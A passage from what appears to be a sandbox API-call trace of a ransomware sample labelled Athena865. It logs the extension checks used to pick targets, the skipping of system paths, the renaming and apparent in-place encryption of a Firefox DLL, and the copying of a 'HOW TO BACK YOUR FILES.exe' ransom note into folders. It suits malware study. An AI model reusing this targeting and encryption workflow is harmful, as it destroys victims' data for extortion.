lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0042.973] lstrlenW (lpString="fp7") returned 3 [0042.973] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0042.973] lstrlenW (lpString="fpt") returned 3 [0042.973] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0042.973] lstrlenW (lpString="frm") returned 3 [0042.973] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0042.973] lstrlenW (lpString="gdb") returned 3 [0042.973] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0042.973] lstrlenW (lpString="gdb") returned 3 [0042.973] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0042.973] lstrlenW (lpString="grdb") returned 4 [0042.973] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0042.973] lstrlenW (lpString="gwi") returned 3 [0042.973] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0042.973] lstrlenW (lpString="hdb") returned 3 [0042.973] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0042.973] lstrlenW (lpString="his") returned 3 [0042.973] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0042.973] lstrlenW (lpString="ib") returned 2 [0042.973] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0042.974] lstrlenW (lpString="idb") returned 3 [0042.974] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0042.974] lstrlenW (lpString="ihx") returned 3 [0042.974] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0042.974] lstrlenW (lpString="itdb") returned 4 [0042.974] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0042.974] lstrlenW (lpString="itw") returned 3 [0042.974] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0042.974] lstrlenW (lpString="jet") returned 3 [0042.974] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0042.974] lstrlenW (lpString="jtx") returned 3 [0042.974] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0042.974] lstrlenW (lpString="kdb") returned 3 [0042.974] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0042.974] lstrlenW (lpString="kexi") returned 4 [0042.974] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0042.974] lstrlenW (lpString="kexic") returned 5 [0042.974] lstrcmpiW (lpString1="3.dll", lpString2="kexic") returned -1 [0042.974] lstrlenW (lpString="kexis") returned 5 [0042.974] lstrcmpiW (lpString1="3.dll", lpString2="kexis") returned -1 [0042.974] lstrlenW (lpString="lgc") returned 3 [0042.974] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0042.974] lstrlenW (lpString="lwx") returned 3 [0042.974] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0042.974] lstrlenW (lpString="maf") returned 3 [0042.974] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0042.974] lstrlenW (lpString="maq") returned 3 [0042.974] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0042.974] lstrlenW (lpString="mar") returned 3 [0042.974] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0042.974] lstrlenW (lpString="marshal") returned 7 [0042.974] lstrcmpiW (lpString1="_43.dll", lpString2="marshal") returned -1 [0042.974] lstrlenW (lpString="mas") returned 3 [0042.974] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0042.974] lstrlenW (lpString="mav") returned 3 [0042.974] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0042.975] lstrlenW (lpString="maw") returned 3 [0042.975] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0042.975] lstrlenW (lpString="mdbhtml") returned 7 [0042.975] lstrcmpiW (lpString1="_43.dll", lpString2="mdbhtml") returned -1 [0042.975] lstrlenW (lpString="mdn") returned 3 [0042.975] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0042.975] lstrlenW (lpString="mdt") returned 3 [0042.975] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0042.975] lstrlenW (lpString="mfd") returned 3 [0042.975] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0042.975] lstrlenW (lpString="mpd") returned 3 [0042.975] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0042.975] lstrlenW (lpString="mrg") returned 3 [0042.975] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0042.975] lstrlenW (lpString="mud") returned 3 [0042.975] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0042.975] lstrlenW (lpString="mwb") returned 3 [0042.975] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0042.975] lstrlenW (lpString="myd") returned 3 [0042.975] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0042.975] lstrlenW (lpString="ndf") returned 3 [0042.975] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0042.975] lstrlenW (lpString="nnt") returned 3 [0042.975] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0042.975] lstrlenW (lpString="nrmlib") returned 6 [0042.975] lstrcmpiW (lpString1="43.dll", lpString2="nrmlib") returned -1 [0042.975] lstrlenW (lpString="ns2") returned 3 [0042.975] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0042.975] lstrlenW (lpString="ns3") returned 3 [0042.975] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0042.975] lstrlenW (lpString="ns4") returned 3 [0042.975] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0042.975] lstrlenW (lpString="nsf") returned 3 [0042.975] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0042.975] lstrlenW (lpString="nv") returned 2 [0042.976] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0042.976] lstrlenW (lpString="nv2") returned 3 [0042.976] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0042.976] lstrlenW (lpString="nwdb") returned 4 [0042.976] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0042.976] lstrlenW (lpString="nyf") returned 3 [0042.976] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0042.976] lstrlenW (lpString="odb") returned 3 [0042.976] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0042.976] lstrlenW (lpString="odb") returned 3 [0042.976] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0042.976] lstrlenW (lpString="oqy") returned 3 [0042.976] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0042.976] lstrlenW (lpString="ora") returned 3 [0042.976] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0042.976] lstrlenW (lpString="orx") returned 3 [0042.976] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0042.976] lstrlenW (lpString="owc") returned 3 [0042.976] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0042.976] lstrlenW (lpString="p96") returned 3 [0042.976] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0042.976] lstrlenW (lpString="p97") returned 3 [0042.976] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0042.976] lstrlenW (lpString="pan") returned 3 [0042.976] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0042.976] lstrlenW (lpString="pdb") returned 3 [0042.976] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0042.976] lstrlenW (lpString="pdm") returned 3 [0042.976] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0042.976] lstrlenW (lpString="pnz") returned 3 [0042.976] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0042.976] lstrlenW (lpString="qry") returned 3 [0042.976] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0042.976] lstrlenW (lpString="qvd") returned 3 [0042.976] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0042.976] lstrlenW (lpString="rbf") returned 3 [0042.977] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0042.977] lstrlenW (lpString="rctd") returned 4 [0042.977] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0042.977] lstrlenW (lpString="rod") returned 3 [0042.977] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0042.977] lstrlenW (lpString="rodx") returned 4 [0042.977] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0042.977] lstrlenW (lpString="rpd") returned 3 [0042.977] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0042.977] lstrlenW (lpString="rsd") returned 3 [0042.977] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0042.977] lstrlenW (lpString="sas7bdat") returned 8 [0042.977] lstrcmpiW (lpString1="r_43.dll", lpString2="sas7bdat") returned -1 [0042.977] lstrlenW (lpString="sbf") returned 3 [0042.977] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0042.977] lstrlenW (lpString="scx") returned 3 [0042.977] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0042.977] lstrlenW (lpString="sdb") returned 3 [0042.977] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0042.977] lstrlenW (lpString="sdc") returned 3 [0042.977] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0042.977] lstrlenW (lpString="sdf") returned 3 [0042.977] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0042.977] lstrlenW (lpString="sis") returned 3 [0042.977] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0042.977] lstrlenW (lpString="spq") returned 3 [0042.977] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0042.977] lstrlenW (lpString="te") returned 2 [0042.977] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0042.977] lstrlenW (lpString="teacher") returned 7 [0042.977] lstrcmpiW (lpString1="_43.dll", lpString2="teacher") returned -1 [0042.977] lstrlenW (lpString="tmd") returned 3 [0042.977] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0042.977] lstrlenW (lpString="tps") returned 3 [0042.977] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0042.977] lstrlenW (lpString="trc") returned 3 [0042.977] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0042.977] lstrlenW (lpString="trc") returned 3 [0042.978] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0042.978] lstrlenW (lpString="trm") returned 3 [0042.978] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0042.978] lstrlenW (lpString="udb") returned 3 [0042.978] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0042.978] lstrlenW (lpString="udl") returned 3 [0042.978] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0042.978] lstrlenW (lpString="usr") returned 3 [0042.978] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0042.978] lstrlenW (lpString="v12") returned 3 [0042.978] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0042.978] lstrlenW (lpString="vis") returned 3 [0042.978] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0042.978] lstrlenW (lpString="vpd") returned 3 [0042.978] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0042.978] lstrlenW (lpString="vvv") returned 3 [0042.978] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0042.978] lstrlenW (lpString="wdb") returned 3 [0042.978] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0042.978] lstrlenW (lpString="wmdb") returned 4 [0042.978] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0042.978] lstrlenW (lpString="wrk") returned 3 [0042.978] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0042.978] lstrlenW (lpString="xdb") returned 3 [0042.978] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0042.978] lstrlenW (lpString="xld") returned 3 [0042.978] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0042.978] lstrlenW (lpString="xmlff") returned 5 [0042.978] lstrcmpiW (lpString1="3.dll", lpString2="xmlff") returned -1 [0042.978] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll.Athena865") returned 67 [0042.978] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\d3dcompiler_43.dll"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\d3dcompiler_43.dll.athena865"), dwFlags=0x1) returned 1 [0042.979] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\d3dcompiler_43.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0042.980] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2106216) returned 1 [0042.980] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0042.980] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0042.980] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0042.980] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0042.981] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0042.981] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0042.981] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x202670, lpName=0x0) returned 0x17c [0042.982] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x2670) returned 0x100000 [0043.012] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x2d50000 [0043.099] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0043.117] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0043.117] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0043.117] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0043.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0043.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0043.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0043.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0043.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0043.118] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0043.118] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0043.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0043.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0043.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0043.118] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0043.118] CloseHandle (hObject=0x17c) returned 1 [0043.118] CloseHandle (hObject=0x154) returned 1 [0043.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0043.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0043.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0043.163] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="defaults", cAlternateFileName="")) returned 1 [0043.163] lstrcmpiW (lpString1="defaults", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0043.164] lstrcmpiW (lpString1="defaults", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0043.164] lstrcmpiW (lpString1="defaults", lpString2=".") returned 1 [0043.164] lstrcmpiW (lpString1="defaults", lpString2="..") returned 1 [0043.164] lstrcmpiW (lpString1="defaults", lpString2="windows") returned -1 [0043.164] lstrcmpiW (lpString1="defaults", lpString2="bootmgr") returned 1 [0043.164] lstrcmpiW (lpString1="defaults", lpString2="temp") returned -1 [0043.164] lstrcmpiW (lpString1="defaults", lpString2="pagefile.sys") returned -1 [0043.164] lstrcmpiW (lpString1="defaults", lpString2="boot") returned 1 [0043.164] lstrcmpiW (lpString1="defaults", lpString2="ids.txt") returned -1 [0043.164] lstrcmpiW (lpString1="defaults", lpString2="ntuser.dat") returned -1 [0043.164] lstrcmpiW (lpString1="defaults", lpString2="perflogs") returned -1 [0043.164] lstrcmpiW (lpString1="defaults", lpString2="MSBuild") returned -1 [0043.164] lstrlenW (lpString="defaults") returned 8 [0043.164] lstrcpyW (in: lpString1=0x241e896, lpString2="defaults" | out: lpString1="defaults") returned="defaults" [0043.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530968 [0043.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x60) returned 0x51bdc0 [0043.164] lstrcatW (in: lpString1="defaults", lpString2="\\" | out: lpString1="defaults\\") returned="defaults\\" [0043.164] lstrcatW (in: lpString1="defaults\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="defaults\\HOW TO BACK YOUR FILES.exe") returned="defaults\\HOW TO BACK YOUR FILES.exe" [0043.164] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\defaults\\how to back your files.exe"), bFailIfExists=1) returned 1 [0043.167] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefb46e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x52aed680, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x63, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dependentlibs.list", cAlternateFileName="DEPEND~1.LIS")) returned 1 [0043.168] lstrcmpiW (lpString1="dependentlibs.list", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0043.168] lstrcmpiW (lpString1="dependentlibs.list", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0043.168] lstrcmpiW (lpString1="dependentlibs.list", lpString2=".") returned 1 [0043.168] lstrcmpiW (lpString1="dependentlibs.list", lpString2="..") returned 1 [0043.168] lstrcmpiW (lpString1="dependentlibs.list", lpString2="windows") returned -1 [0043.168] lstrcmpiW (lpString1="dependentlibs.list", lpString2="bootmgr") returned 1 [0043.168] lstrcmpiW (lpString1="dependentlibs.list", lpString2="temp") returned -1 [0043.168] lstrcmpiW (lpString1="dependentlibs.list", lpString2="pagefile.sys") returned -1 [0043.168] lstrcmpiW (lpString1="dependentlibs.list", lpString2="boot") returned 1 [0043.168] lstrcmpiW (lpString1="dependentlibs.list", lpString2="ids.txt") returned -1 [0043.168] lstrcmpiW (lpString1="dependentlibs.list", lpString2="ntuser.dat") returned -1 [0043.168] lstrcmpiW (lpString1="dependentlibs.list", lpString2="perflogs") returned -1 [0043.168] lstrcmpiW (lpString1="dependentlibs.list", lpString2="MSBuild") returned -1 [0043.168] lstrlenW (lpString="dependentlibs.list") returned 18 [0043.168] lstrcpyW (in: lpString1=0x241e896, lpString2="dependentlibs.list" | out: lpString1="dependentlibs.list") returned="dependentlibs.list" [0043.168] lstrlenW (lpString="dependentlibs.list") returned 18 [0043.168] lstrlenW (lpString="Athena865") returned 9 [0043.168] lstrcmpiW (lpString1="libs.list", lpString2="Athena865") returned 1 [0043.168] lstrlenW (lpString=".dll") returned 4 [0043.168] lstrcmpiW (lpString1="dependentlibs.list", lpString2=".dll") returned 1 [0043.168] lstrlenW (lpString=".lnk") returned 4 [0043.168] lstrcmpiW (lpString1="dependentlibs.list", lpString2=".lnk") returned 1 [0043.168] lstrlenW (lpString=".ini") returned 4 [0043.168] lstrcmpiW (lpString1="dependentlibs.list", lpString2=".ini") returned 1 [0043.168] lstrlenW (lpString=".sys") returned 4 [0043.168] lstrcmpiW (lpString1="dependentlibs.list", lpString2=".sys") returned 1 [0043.168] lstrlenW (lpString="dependentlibs.list") returned 18 [0043.168] lstrlenW (lpString="bak") returned 3 [0043.168] lstrcmpiW (lpString1="ist", lpString2="bak") returned 1 [0043.168] lstrlenW (lpString="ba_") returned 3 [0043.168] lstrcmpiW (lpString1="ist", lpString2="ba_") returned 1 [0043.168] lstrlenW (lpString="dbb") returned 3 [0043.168] lstrcmpiW (lpString1="ist", lpString2="dbb") returned 1 [0043.168] lstrlenW (lpString="vmdk") returned 4 [0043.169] lstrcmpiW (lpString1="list", lpString2="vmdk") returned -1 [0043.169] lstrlenW (lpString="rar") returned 3 [0043.169] lstrcmpiW (lpString1="ist", lpString2="rar") returned -1 [0043.169] lstrlenW (lpString="zip") returned 3 [0043.169] lstrcmpiW (lpString1="ist", lpString2="zip") returned -1 [0043.169] lstrlenW (lpString="tgz") returned 3 [0043.169] lstrcmpiW (lpString1="ist", lpString2="tgz") returned -1 [0043.169] lstrlenW (lpString="vbox") returned 4 [0043.169] lstrcmpiW (lpString1="list", lpString2="vbox") returned -1 [0043.169] lstrlenW (lpString="vdi") returned 3 [0043.169] lstrcmpiW (lpString1="ist", lpString2="vdi") returned -1 [0043.169] lstrlenW (lpString="vhd") returned 3 [0043.169] lstrcmpiW (lpString1="ist", lpString2="vhd") returned -1 [0043.169] lstrlenW (lpString="vhdx") returned 4 [0043.169] lstrcmpiW (lpString1="list", lpString2="vhdx") returned -1 [0043.169] lstrlenW (lpString="avhd") returned 4 [0043.169] lstrcmpiW (lpString1="list", lpString2="avhd") returned 1 [0043.169] lstrlenW (lpString="db") returned 2 [0043.169] lstrcmpiW (lpString1="st", lpString2="db") returned 1 [0043.169] lstrlenW (lpString="db2") returned 3 [0043.169] lstrcmpiW (lpString1="ist", lpString2="db2") returned 1 [0043.169] lstrlenW (lpString="db3") returned 3 [0043.169] lstrcmpiW (lpString1="ist", lpString2="db3") returned 1 [0043.169] lstrlenW (lpString="dbf") returned 3 [0043.169] lstrcmpiW (lpString1="ist", lpString2="dbf") returned 1 [0043.169] lstrlenW (lpString="mdf") returned 3 [0043.169] lstrcmpiW (lpString1="ist", lpString2="mdf") returned -1 [0043.169] lstrlenW (lpString="mdb") returned 3 [0043.169] lstrcmpiW (lpString1="ist", lpString2="mdb") returned -1 [0043.169] lstrlenW (lpString="sql") returned 3 [0043.169] lstrcmpiW (lpString1="ist", lpString2="sql") returned -1 [0043.169] lstrlenW (lpString="sqlite") returned 6 [0043.169] lstrcmpiW (lpString1="s.list", lpString2="sqlite") returned -1 [0043.169] lstrlenW (lpString="sqlite3") returned 7 [0043.169] lstrcmpiW (lpString1="bs.list", lpString2="sqlite3") returned -1 [0043.169] lstrlenW (lpString="sqlitedb") returned 8 [0043.170] lstrcmpiW (lpString1="ibs.list", lpString2="sqlitedb") returned -1 [0043.170] lstrlenW (lpString="xml") returned 3 [0043.170] lstrcmpiW (lpString1="ist", lpString2="xml") returned -1 [0043.170] lstrlenW (lpString="$er") returned 3 [0043.170] lstrcmpiW (lpString1="ist", lpString2="$er") returned 1 [0043.170] lstrlenW (lpString="4dd") returned 3 [0043.170] lstrcmpiW (lpString1="ist", lpString2="4dd") returned 1 [0043.170] lstrlenW (lpString="4dl") returned 3 [0043.170] lstrcmpiW (lpString1="ist", lpString2="4dl") returned 1 [0043.170] lstrlenW (lpString="^^^") returned 3 [0043.170] lstrcmpiW (lpString1="ist", lpString2="^^^") returned 1 [0043.170] lstrlenW (lpString="abs") returned 3 [0043.170] lstrcmpiW (lpString1="ist", lpString2="abs") returned 1 [0043.170] lstrlenW (lpString="abx") returned 3 [0043.170] lstrcmpiW (lpString1="ist", lpString2="abx") returned 1 [0043.170] lstrlenW (lpString="accdb") returned 5 [0043.170] lstrcmpiW (lpString1=".list", lpString2="accdb") returned -1 [0043.170] lstrlenW (lpString="accdc") returned 5 [0043.170] lstrcmpiW (lpString1=".list", lpString2="accdc") returned -1 [0043.170] lstrlenW (lpString="accde") returned 5 [0043.170] lstrcmpiW (lpString1=".list", lpString2="accde") returned -1 [0043.170] lstrlenW (lpString="accdr") returned 5 [0043.170] lstrcmpiW (lpString1=".list", lpString2="accdr") returned -1 [0043.170] lstrlenW (lpString="accdt") returned 5 [0043.170] lstrcmpiW (lpString1=".list", lpString2="accdt") returned -1 [0043.170] lstrlenW (lpString="accdw") returned 5 [0043.170] lstrcmpiW (lpString1=".list", lpString2="accdw") returned -1 [0043.170] lstrlenW (lpString="accft") returned 5 [0043.170] lstrcmpiW (lpString1=".list", lpString2="accft") returned -1 [0043.170] lstrlenW (lpString="adb") returned 3 [0043.170] lstrcmpiW (lpString1="ist", lpString2="adb") returned 1 [0043.170] lstrlenW (lpString="adb") returned 3 [0043.170] lstrcmpiW (lpString1="ist", lpString2="adb") returned 1 [0043.170] lstrlenW (lpString="ade") returned 3 [0043.170] lstrcmpiW (lpString1="ist", lpString2="ade") returned 1 [0043.170] lstrlenW (lpString="adf") returned 3 [0043.171] lstrcmpiW (lpString1="ist", lpString2="adf") returned 1 [0043.171] lstrlenW (lpString="adn") returned 3 [0043.171] lstrcmpiW (lpString1="ist", lpString2="adn") returned 1 [0043.171] lstrlenW (lpString="adp") returned 3 [0043.171] lstrcmpiW (lpString1="ist", lpString2="adp") returned 1 [0043.171] lstrlenW (lpString="alf") returned 3 [0043.171] lstrcmpiW (lpString1="ist", lpString2="alf") returned 1 [0043.171] lstrlenW (lpString="ask") returned 3 [0043.171] lstrcmpiW (lpString1="ist", lpString2="ask") returned 1 [0043.171] lstrlenW (lpString="btr") returned 3 [0043.171] lstrcmpiW (lpString1="ist", lpString2="btr") returned 1 [0043.171] lstrlenW (lpString="cat") returned 3 [0043.171] lstrcmpiW (lpString1="ist", lpString2="cat") returned 1 [0043.171] lstrlenW (lpString="cdb") returned 3 [0043.171] lstrcmpiW (lpString1="ist", lpString2="cdb") returned 1 [0043.171] lstrlenW (lpString="ckp") returned 3 [0043.171] lstrcmpiW (lpString1="ist", lpString2="ckp") returned 1 [0043.171] lstrlenW (lpString="cma") returned 3 [0043.171] lstrcmpiW (lpString1="ist", lpString2="cma") returned 1 [0043.171] lstrlenW (lpString="cpd") returned 3 [0043.171] lstrcmpiW (lpString1="ist", lpString2="cpd") returned 1 [0043.171] lstrlenW (lpString="dacpac") returned 6 [0043.171] lstrcmpiW (lpString1="s.list", lpString2="dacpac") returned 1 [0043.171] lstrlenW (lpString="dad") returned 3 [0043.171] lstrcmpiW (lpString1="ist", lpString2="dad") returned 1 [0043.171] lstrlenW (lpString="dadiagrams") returned 10 [0043.171] lstrcmpiW (lpString1="tlibs.list", lpString2="dadiagrams") returned 1 [0043.171] lstrlenW (lpString="daschema") returned 8 [0043.171] lstrcmpiW (lpString1="ibs.list", lpString2="daschema") returned 1 [0043.171] lstrlenW (lpString="db-journal") returned 10 [0043.171] lstrcmpiW (lpString1="tlibs.list", lpString2="db-journal") returned 1 [0043.171] lstrlenW (lpString="db-shm") returned 6 [0043.171] lstrcmpiW (lpString1="s.list", lpString2="db-shm") returned 1 [0043.171] lstrlenW (lpString="db-wal") returned 6 [0043.171] lstrcmpiW (lpString1="s.list", lpString2="db-wal") returned 1 [0043.172] lstrlenW (lpString="dbc") returned 3 [0043.172] lstrcmpiW (lpString1="ist", lpString2="dbc") returned 1 